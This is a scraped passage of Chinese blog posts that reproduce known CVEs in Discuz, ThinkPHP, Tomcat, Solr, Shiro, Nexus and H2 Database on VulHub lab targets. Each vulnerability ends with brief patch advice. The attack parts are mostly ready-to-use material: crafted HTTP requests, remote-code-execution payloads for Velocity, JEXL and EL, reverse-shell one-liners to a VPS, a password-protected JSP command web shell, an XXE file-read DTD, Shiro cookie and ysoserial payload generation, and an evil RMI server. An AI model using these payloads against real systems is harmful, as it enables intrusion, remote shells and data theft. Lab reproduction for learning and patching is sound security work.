所以就存在着同样的问题 Discuz 7.x/6.x 全局变量防御绕过导致代码执行漏洞概述​ 由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致$_REQUEST中不再包含$_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞. 利用条件: discuz 6.x / 7.x request_order默认值为GP 漏洞复现 访问漏洞环境http://192.168.164.128:8080/install/ 数据库地址填写db,数据库名为discuz,数据库账号密码均为root. 访问首页 安装成功以后,直接找一个已经存在的帖子,向其发送数据包,利用burpsite工具修改Cookie值 1234567891011GET /viewthread.php?tid=7&extra=page%3D1 HTTP/1.1Host: 192.168.164.128:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeCookie:GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();Upgrade-Insecure-Requests: 1 修改完成后,点击发送请求,查看返回包 修复建议 升级版本 ThinkPHPThinkPHP 5 5.0.22/5.1.29 远程代码执行漏洞漏洞概述ThinkPHP是一款运用极广的PHP开发框架.其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞. 漏洞复现","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Tomcat漏洞复现","path":"/2023/04/28/76971e68/","content":"总字符数: 7.67K 代码: 0.57K, 文本: 2.05K 预计阅读时间: 11 分钟 Tomcat PUT方法 任意写入文件(CVE-2017-12615)漏洞概述当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件.之后,JSP 文件中的代码将能被服务器执行.影响版本: Apache Tomcat 7.0.0 – 7.0.81 漏洞复现方法一直接发送以下数据包即可在Web根目录写入shellhttp://192.168.2.188:8080/1.jsp?pwd=023&i=whoami 方法二(适用于Windows系统)添加文件名2.jsp%20,添加shell脚本 方法三(适用于Windows系统)添加文件名3.jsp::$DATA,添加shell脚本 修复建议 设置conf/webxml 文件的 readOnly 值为 Ture 或注释参数 禁用 PUT 方法并重启 tomcat 服务(如果禁用 PUT 方法,对于依赖PUT方法的应用,可能导致业务失效.) 升级到最新版本 使用WAF产品进行防御 Tomcat AJP 任意文件读取/包含漏洞(CVE-2020-1938)漏洞概述Java是目前Web开发中最流行的编程语言,Tomcat是最流行的Java中间件服务器之一.自首次发布以来,它已经使用了 20 多年.Ghostcat是长亭科技安全研究员发现的 Tomcat 中的一个严重漏洞.由于 Tomcat AJP 协议中的缺陷,攻击者可以读取或包含 Tomcat 的 webapp 目录中的任何文件.例如,攻击者可以读取 webapp 配置文件或源代码.此外,如果目标Web应用程序具有文件上传功能,攻击者可能通过Ghostcat漏洞利用文件包含在目标主机上执行恶意代码.影响版本: Apache Tomcat 6 Apache Tomcat 7 < 7.0.100 Apache Tomcat 8 < 8.5.51 Apache Tomcat 9 < 9.0.31 漏洞复现工具: -- GitHub - nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC: CNVD-2020-10487(CVE-2020-1938), tomcat ajp 文件读取漏洞poc CNVD-2020-10487-Tomcat-Ajp-lfi 使用其中任意一个POC文件进行验证,读取WEB-INF/web.xml文件必须使用python2读取ROOT目录下的build.xml文件内容可以看到,均可以成功读取. 修复建议未使用Tomcat AJP协议可以直接将 Tomcat 升级到 9.0.31、8.5.51或 7.0.100 版本进行漏洞修复.如无法立即进行版本更新、或者是更老版本的用户,建议直接关闭AJPConnector,或将其监听地址改为仅监听本机localhost.具体操作: 编辑<CATALINA_BASE>/conf/server.xml,找到如下行(<CATALINA_BASE> 为 Tomcat 的工作目录): <Connector port="8009"protocol="AJP/1.3"redirectPort="8443"/> 将此行注释掉(也可删掉该行): <!--<Connectorport="8009"protocol="AJP/1.3"redirectPort="8443"/>--> 保存后需重新启动,规则方可生效. 使用了Tomcat AJP协议建议将Tomcat立即升级到9.0.31、8.5.51或7.0.100版本进行修复,同时为AJP Connector配置secret来设置AJP协议的认证凭证.例如(注意必须将``YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):<br /><Connector port=”8009”protocol=”AJP/1.3”redirectPort=”8443”address=”YOUR_TOMCAT_IP_ADDRESS”secret=”YOUR_TOMCAT_AJP_SECRET”/>` Tomcat Session反序列化漏洞复现(cve_2020_9484)漏洞概述Apache官方发布了 Apache Tomcat 远程代码执行 的风险通告,该漏洞编号为 CVE-2020-9484. Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器.当Tomcat使用了自带session同步功能时,使用不安全的配置(没有使用EncryptInterceptor)会存在反序列化漏洞,攻击者通过精心构造的数据包, 可以对使用了自带session同步功能的Tomcat服务器进行攻击. 成功利用此漏洞需要同时满足以下4个条件: 攻击者能够控制服务器上文件的内容和文件名称 服务器PersistenceManager配置中使用了FileStore PersistenceManager中的sessionAttributeValueClassNameFilter被配置为”null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象 攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径 影响版本 Apache Tomcat 10.0.0-M1-10.0.0-M4 Apache Tomcat 9.0.0.M1-9.0.34 Apache Tomcat 8.5.0-8.5.54 Apache Tomcat 7.0.0-7.0.103 漏洞复现 下载ysoserial,生成payload 1java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Groovy1 "ping http://8iwrku.dnslog.cn" > /tmp/test.session 或者直接在环境中执行POC通过JSESSION加载恶意的session持久化文件 1curl 'http://123.58.224.8:8472/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test' Tomcat8访问http://192.168.2.188:8080/,可以看到环境已经启动成功尝试登录问题页面,发现需要输入密码,使用BURP抓包,发现并抓不到包,此时使用msf 12345msfconsolesearch tomcatuse 25set rhosts 192.168.2.188run 使用爆破后的账号密码登录后台管理页面,然后访问http://192.168.2.188:8080/manager/html/list创建shell.jsp 12<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %> 生成war包木马jar cvf shell.war shell.jsp尝试上传文件上传jsp一句话木马,打包为war格式,上传出现报错,403是无权访问不代表没有返回,发现已经上传上去了,如果还没有请重新尝试访问http://192.168.2.188:8080/shell/shell.jsp?pwd=023&i=whoami","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Solr漏洞复现","path":"/2023/04/22/8b1ccd63/","content":"总字符数: 12.23K 代码: 3.92K, 文本: 2.54K 预计阅读时间: 28 分钟 Apache solr 命令执行(CVE-2017-12629)漏洞概述什么是Lucene?Lucene 是一个高效的,基于 Java 的全文检索库. Lucene 是 apache 软件基金会 4 jakarta 项目组的一个子项目,是一个开放源代码的全 文检索引擎工具包,但它不是一个完整的全文检索引擎,而是一个全文检索引擎的架构Lucene主要提供了一个简单、强大的应用程序接口.什么是solr?Solr 是基于 Lucene 的面向企业搜索的 web 应用 ,Solr 是一个独立的企业级搜索应用服务器.它对外提供类似于 Web-service 的 API 接 口.用户可以通过 http 请求,向搜索引擎服务器提交一定格式的 XML 文件,生成索引;也 可以通过 Http Get 操作提出查找请求,并得到 xml/json 格式的返回结果.注意是Solr来提供的http服务,Lucene不提供,他是一个应用程序接口.并且Solr对Lucene进行了扩展.提供了一个完善的功能管理界面,是一款非常优秀的全文检索引擎.影响版本: Apache Solr < 7.1 Apache Lucene < 7.1 漏洞复现命令执行在Solr中,能够触发命令执行的方式有两种.分别是postCommit和newSearcher. postCommit 首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数 123456789POST /solr/demo/config HTTP/1.1Host: your-ipAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 158{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"bash","dir":"/bin/","args":["-c", "bash -i >& /dev/tcp/YOUR-VPS-IP/6666 0>&1"]}} 然后进行update操作,触发刚才添加的listener 1234567POST /solr/demo/update HTTP/1.1Host: 192.168.2.188:8983Content-Length: 17Content-Type: application/json[{"id":"test"}] 验证 newSearcher 构造Payload 123456POST /solr/demo/config HTTP/1.1Host: 192.168.25.130:8983Content-Length: 170Content-Type: application/json{"add-listener":{"event":"newSearcher","name":"newSearcher3","class":"solr.RunExecutableListener","exe":"bash","dir":"/bin/","args":["-c", "ping -c 3 vu920r.dnslog.cn"]}} 数据请求包里的name是可以随意的,但不能重复. 发送请求包 命令执行成功!只需要将ping命令进行更换,就可以执行你想要的命令,可以设置一个反弹shell的命令,然后监听端口即可getshell,方法一样,发包,换name和命令即可. 修复建议 由于涉及到的是 SolrCloud,所以建议在所有节点问题中添加过滤器,进行相关过滤 Apache solr XML 实体注入漏洞(CVE-2017-12629)漏洞描述Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现.原理大致是文档通过Http利用XML加到一个搜索集合中.查询该集合也是通过 http收到一个XML/JSON响应来实现.此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629.影响版本: Apache solr<7.1.0 版本 漏洞复现 在自己的VPS目录下新建一个文档1.dtd,名字可以自取.在1.dtd内写入如下内容: 12<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>"> Python临时启动web服务python3 -m http.server 8080 打开demo的搜索页面后点击Execute Query进行抓包,修改部分参数即可达到XXE外部实体代码执行的操作 1GET /solr/demo/select?_=1666089179043&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f(你的远程服务器IP):8080%2f(dtd文件的名字).dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser HTTP/1.1 可能出现的问题: ?_=后面的时间戳可能不对 没有带cookie 修复建议 添加Solr访问控制,包括禁止本地直接未授权访问 升级版本至7.1,该版本已经解决了XML解析问题并删除了RunExecutableListener类 针对XXE可手动CoreParser.java,根据阻止根据解析产生XXE的点的方法修改DOM 123456789101112131415161718static Document parseXML(InputStream pXmlFile) throws ParserException { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = null; try { //protect from XXE attacks dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); db = dbf.newDocumentBuilder(); } catch (Exception se) { throw new ParserException("XML Parser configuration error", se); } org.w3c.dom.Document doc = null; try { doc = db.parse(pXmlFile); } Apache Solr 远程命令执行漏洞(CVE-2019-0193)漏洞概述Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现.此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据.它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置.由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行.影响版本: Apache solr < 8.2.0 漏洞复现 创建数据库docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db 访问地址http://192.168.2.188:8983/solr/#/已经可以选择数据库了 首先打开刚刚创建好的test核心,选择Dataimport功能并选择debug模式,填入以下POC 点击Execute with this Confuguration会发送以下请求包 123456789101112131415POST /solr/test/dataimport?_=1666090401089&indent=on&wt=json HTTP/1.1Host: 192.168.2.188:8983User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept: application/json, text/plain, */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestContent-Length: 677Origin: http://192.168.2.188:8983Connection: closeReferer: http://192.168.2.188:8983/solr/Cookie: JSESSIONID=vcl8jTQPScTrv2wL2GGBv6c4sRQyHpsJGTyvKQgh14LBVKrRMGgs!-301254551; ADMINCONSOLESESSION=Tg0RjTQKyVKckshvrTyhx8ZFnphCQZ1ZLQ6pWSpQLzL77TjLhTSc!-301254551command=full-import&verbose=false&clean=true&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22ping+frklr3.dnslog.cn%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport 验证结果 修复建议 升级至Apache 8.2.0或更高版本,其默认情况下是安全的(默认情况下DataImportHandler模块不启用) 编辑solrconfig.xml以使用”不变量”部分配置所有DataImportHandler用法,其中列出dataConfig参数设置为空字符串 确保配置了网络设置,以便只有受信任的流量与Solr通信,特别是与DIH请求处理程序通信.注:修复漏洞前请将资料备份,并进行充分测试. Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)漏洞概述用户可以注入自定义模板,通过Velocity模板语言执行任意命令影响版本: 5.0.0–8.3.1 漏洞复现 默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板.我们先通过如下API获取所有的核心http://192.168.2.188:8983/solr/admin/cores?indexInfo=false&wt=json 通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称 注入Velocity模板之后即可执行任意命令:http://192.168.2.188:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end 修复建议 建议升级Appache Salc到最新版 Apache Solr Remote-Streaming-Fileread漏洞概述Apache Solr的某些功能存在过滤不严格,在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或文件读取漏洞.漏洞范围: Apache Solr <= 8.8.1 **漏洞原理:**在未开启认证的情况下,攻击者可直接构造特定请求获取目标主机内敏感文件及资源 漏洞复现 首先,访问http://192.168.2.188:8983/solr/admin/cores?indexInfo=false&wt=json获取数据库名 打开BURP,发送数据包,进一步修改数据库配置 12345678910111213141516POST /solr/demo/config HTTP/1.1Host: 192.168.2.188:8983User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=vcl8jTQPScTrv2wL2GGBv6c4sRQyHpsJGTyvKQgh14LBVKrRMGgs!-301254551; ADMINCONSOLESESSION=Tg0RjTQKyVKckshvrTyhx8ZFnphCQZ1ZLQ6pWSpQLzL77TjLhTSc!-301254551Upgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheContent-Type: application/jsonContent-Length: 82{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}} 再通过stream.url读取任意文件:curl -i -s -k "[http://192.168.2.188:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd](http://192.168.2.188:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd)" 修复建议官方无修复版本","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Shiro漏洞复现","path":"/2023/04/20/5458db23/","content":"总字符数: 5.55K 代码: 1.59K, 文本: 1.08K 预计阅读时间: 12 分钟 漏洞介绍Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理.使用Shiro易于理解的API,开发者可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序 在Shiro <= 1.2.4中,反序列化过程中所用到的AES加密的key是硬编码在源码中,当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中,服务端收到登录请求后,会对rememberMe的cookie值进行base64解码,接着进行AES解密,然后反序列化.由于AES加密是对称式加密(key既能加密数据也能解密数据),所以当攻击者知道了AES key后,就能够构造恶意的rememberMe cookie值从而触发反序列化漏洞 漏洞复现(CVE-2016-4437)检测使用burp抓取当前页面数据包,在cookie中添加rememberMe=1,在响应包中显示两个Set-Cookie: rememberMe=deleteMe,说明存在shiro框架可能存在漏洞 使用Shiro_tool进行检测12wget https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/shiro/shiro_tool.jarjava -jar shiro_tool.jar http://192.168.164.128:8080 反弹shell利用(CVE-2016-4437)云服务器监听 执行利用脚本 加密bash命令 注意:Java中的命令执行,并不是使用系统中的bash或是cmd进行的系统命令执行,而是使用JAVA本身,所以反弹shell的重定向符在JAVA中并不支持 手动加密 1. 将反弹shell的命令进行base64加密,填入下方 12# bash -i >& /dev/tcp/YOUR-VPS-IP/6666 0>&1bash -c {echo,YOUR-BASE64}|{base64,-d}|{bash,-i} 自动加密https://ares-x.com/tools/runtime-exec/ 使用JRMPListener二次反序列化1java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsBeanutils1 "bash -c {echo,YOUR-BASE64}|{base64,-d}{bash,-i}" 执行命令生成cookie123456789 # 下载脚本 wget https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/shiro/shiro.py# 下载依赖 python2 -m pip install pycryptodome -i http://pypi.douban.com/simple --trusted-host pypi.douban.com# 构造payload# 此处端口号需要与前面ysoserial监听模块端口一致python2 shiro.py 192.168.164.1:6666# 生成后的payloadrememberMe=Zzsowg/XQ6mX24rvRmm4nJeWl2jmxX4jATG/J4U/r98wz8P/TGs9h0zbkmqnfDV3cfreopZaerYpnnAwEX2AAP/yiQ3jqtmuj7BkS9gZSanHbdBYJ9NrZR0CcUNPm8JGGFXkjY70vvdPCH4yROTbMXeaI9zy45bu1ON8azkWKExgo9d2Q5eE1VV74HgD/xxdg1rooNlfuDSeT3MNwlek+JaHS+s9SX5co/AC8cRBj8q8aCXTh/FdV10RJElUGlmrxo5n0PI5kKs5UsYIynb4JYW46pBK+cVx98FZ9IZtv5l/16TD7vu62rKQhRsAhAVAtoQM8tiLKvQ0ZzP/9wZak5g+vWOPcxuhvlOl8gIYIRx48PqF6wlZehza+qH4N0OEHCg0JE+lz71uXKKMYyASVA== Burp发送恶意Cookie VPS上收到反弹Shell 漏洞修复(CVE-2016-4437)删除代码中的默认密钥升级Shiro到1.2.5及以上不要使用网上的密钥,可以自己base64生成一个AES密钥 环境搭建(CVE-2020-1957)p牛靶场:执行如下命令启动一个搭载Spring 2.2.2与Shiro 1.5.1的应用: 1docker-compose up -d 环境启动后,访问http://your-ip:8080即可查看首页.这个应用中对URL权限的配置如下: 12345678@Beanpublic ShiroFilterChainDefinition shiroFilterChainDefinition() { DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition(); chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form chainDefinition.addPathDefinition("/logout", "logout"); chainDefinition.addPathDefinition("/admin/**", "authc"); return chainDefinition;} 漏洞复现(CVE-2020-1957)直接请求管理页面/admin/,无法访问,将会被重定向到登录页面:构造恶意请求/xxx/..;/admin/,即可绕过权限校验,访问到管理页面java绕过鉴权路由后加:..;或;或/","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Nexus漏洞复现","path":"/2023/04/15/5458db23/","content":"总字符数: 5.72K 代码: 3.69K, 文本: 0.86K 预计阅读时间: 20 分钟 Nexus Repository Manager 3 远程命令执行漏洞(CVE-2019-7238)漏洞描述Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库.其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞 利用版本 Nexus Repository Manager OSS/Pro 3.6.2-3.14.0 漏洞复现执行如下命令启动Nexus Repository Manager 3.14.0: 1docker-compose up -d 等待一段时间环境才能成功启动,访问http://your-ip:8081即可看到Web页面. 使用账号密码admin:admin123登录后台,然后在maven-releases下随便上传一个jar包: 触发该漏洞,必须保证仓库里至少有一个包存在.接口没有校验权限,所以直接发送如下数据包,即可执行touch /tmp/success命令: 1234567891011121314151617POST /service/extdirect HTTP/1.1Host: 192.168.64.144:8081Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/jsonX-Requested-With: XMLHttpRequestContent-Length: 384{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName('java.lang.Runtime').getRuntime().exec('curl http://pjcb8t.dnslog.cn')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8} 原理是expression位置的JEXL表达式被执行,详情可阅读参考文档. 利用classloader加载字节码即可获得回显: 相关漏洞利用脚本: https://raw.githubusercontent.com/mpgn/CVE-2019-7238/master/CVE-2019-7238.pyhttps://raw.githubusercontent.com/mpgn/CVE-2019-7238/master/CVE-2019-7238.py 1bash -i >& /dev/tcp/192.168.64.131/6666 0>&1 修复建议升级到最新版 Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10199)漏洞描述在 Nexus Repository Manager OSS/Pro 3.21.1 及之前的版本中,由于某处功能安全处理不当,导致经过授权认证的攻击者,可以在远程通过构造恶意的 HTTP 请求,在服务端执行任意恶意代码,获取系统权限.此漏洞的利用需要攻击者具备任意类型的账号权限. 利用版本 Nexus Repository Manager OSS/Pro 3.x <= 3.21.1 漏洞复现等待一段时间环境才能成功启动,访问http://your-ip:8081即可看到Web页面. 该漏洞需要至少普通用户身份,所以我们需要使用账号密码admin:admin登录后台. 登录后,复制当前Cookie和CSRF Token,发送如下数据包,即可执行EL表达式: 123456789101112131415161718192021222324252627282930POST /service/rest/beta/repositories/go/group HTTP/1.1Host: 192.168.64.144:8081Content-Length: 302X-Requested-With: XMLHttpRequestX-Nexus-UI: trueUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36NX-ANTI-CSRF-TOKEN: 0.5524715909690786Content-Type: application/jsonAccept: */*Origin: http://192.168.64.144:8081Sec-Fetch-Site: same-originSec-Fetch-Mode: corsReferer: http://192.168.64.144:8081/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie:NX-ANTI-CSRF-TOKEN=0.5524715909690786;NXSESSIONID=8257ec1b-8cd2-48e6-9506-52b287c22e39Connection: close{ "name": "internal", "online": true, "storage": { "blobStoreName": "default", "strictContentTypeValidation": true }, "group": { "memberNames": ["$\\\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('curl http://oxkbtb.dnslog.cn')}"] }} 修复建议 官方已发布新版本修复了该漏洞,建议升级至最新版本 Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10204)漏洞描述其3.21.1及之前版本中,存在一处任意EL表达式注入漏洞,这个漏洞是CVE-2018-16621的绕过. 利用版本 Nexus Repository Manager 3 < 3.21.1 漏洞复现访问http://your-ip:8081即可看到Web页面. 该漏洞需要访问更新角色或创建角色接口,所以我们需要使用账号密码admin:admin登录后台 更新用户接口 123456789101112131415161718POST /service/extdirect HTTP/1.1Host: 192.168.64.144:8081Content-Length: 326X-Requested-With: XMLHttpRequestX-Nexus-UI: trueUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36NX-ANTI-CSRF-TOKEN: 0.6863105631716676Content-Type: application/jsonAccept: */*Origin: http://192.168.64.144:8081Referer: http://192.168.64.144:8081/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: NX-ANTI-CSRF-TOKEN=0.6863105631716676; NXSESSIONID=493a6756-cb2d-4e47-b17b-1c796e82f9c5Connection: close{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nxadmin$\\\\B{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('curl http://1d88st.dnslog.cn')}"]}],"type":"rpc","tid":11} 创建角色接口 1234567891011121314151617POST /service/extdirect HTTP/1.1Host: 192.168.64.144:8081Content-Length: 297X-Requested-With: XMLHttpRequestX-Nexus-UI: trueUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36NX-ANTI-CSRF-TOKEN: 0.6863105631716676Content-Type: application/jsonAccept: */*Origin: http://192.168.64.144:8081Referer: http://192.168.64.144:8081/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: NX-ANTI-CSRF-TOKEN=0.6863105631716676; NXSESSIONID=493a6756-cb2d-4e47-b17b-1c796e82f9c5Connection: close{"action":"coreui_Role","method":"create","data":[{"version":"","source":"default","id":"1111","name":"2222","description":"3333","privileges":["$\\\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('curl http://sq9fo0.dnslog.cn')}"],"roles":[]}],"type":"rpc","tid":89} 修复建议 官方已发布新版本修复了该漏洞,建议升级至最新版本","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-H2_DataBase漏洞复现","path":"/2023/04/06/30a0d618/","content":"总字符数: 4.28K 代码: 2.16K, 文本: 0.76K 预计阅读时间: 13 分钟 H2 Database Console 未授权访问漏洞概述H2 database是一款Java内存数据库,多用于单元测试.H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权(spring boot 配置中开启:) 12spring.h2.console.enabled=truespring.h2.console.settings.web-allow-others=true 利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令. 漏洞复现访问http://your-ip:8080/h2-console/即可查看到H2 database的管理页面. 目标环境是Java 8u252,版本较高,因为上下文是Tomcat环境,我们可以参考<Exploiting JNDI Injections in Java>,使用org.apache.naming.factory.BeanFactory加EL表达式注入的方式来执行任意命令. 123456789101112131415161718192021import java.rmi.registry.*;import com.sun.jndi.rmi.registry.*;import javax.naming.*;import org.apache.naming.ResourceRef; public class EvilRMIServerNew { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097); //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code ref.add(new StringRefAddr("forceString", "x=eval")); //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows ref.add(new StringRefAddr("x", "\\"\\".getClass().forName(\\"javax.script.ScriptEngineManager\\").newInstance().getEngineByName(\\"JavaScript\\").eval(\\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\\")")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); }} 我们可以借助这个小工具JNDI简化我们的复现过程. 首先设置JNDI工具中执行的命令为curl http://g8479g.dnslog.cn: 然后启动JNDI-1.0-all.jar,在h2 console页面填入JNDI类名:javax.naming.InitialContext和URL地址:rmi://VPS-IP:23456/BypassByEL 修复建议 可以使用Nginx再代理一层,限制直接对/h2-console路径的访问 限制rmi等服务出网 升级到最新版 H2 Database RCE(CVE-2022-23221)漏洞描述 H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+ 中修复.2.1.210 之前的 H2 控制台允许远程攻击者通过包含 IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT 子字符串的 jdbc:h2:mem JDBC URL执行任意代码 受影响的组件 文件名: WebServer.java文件路径: 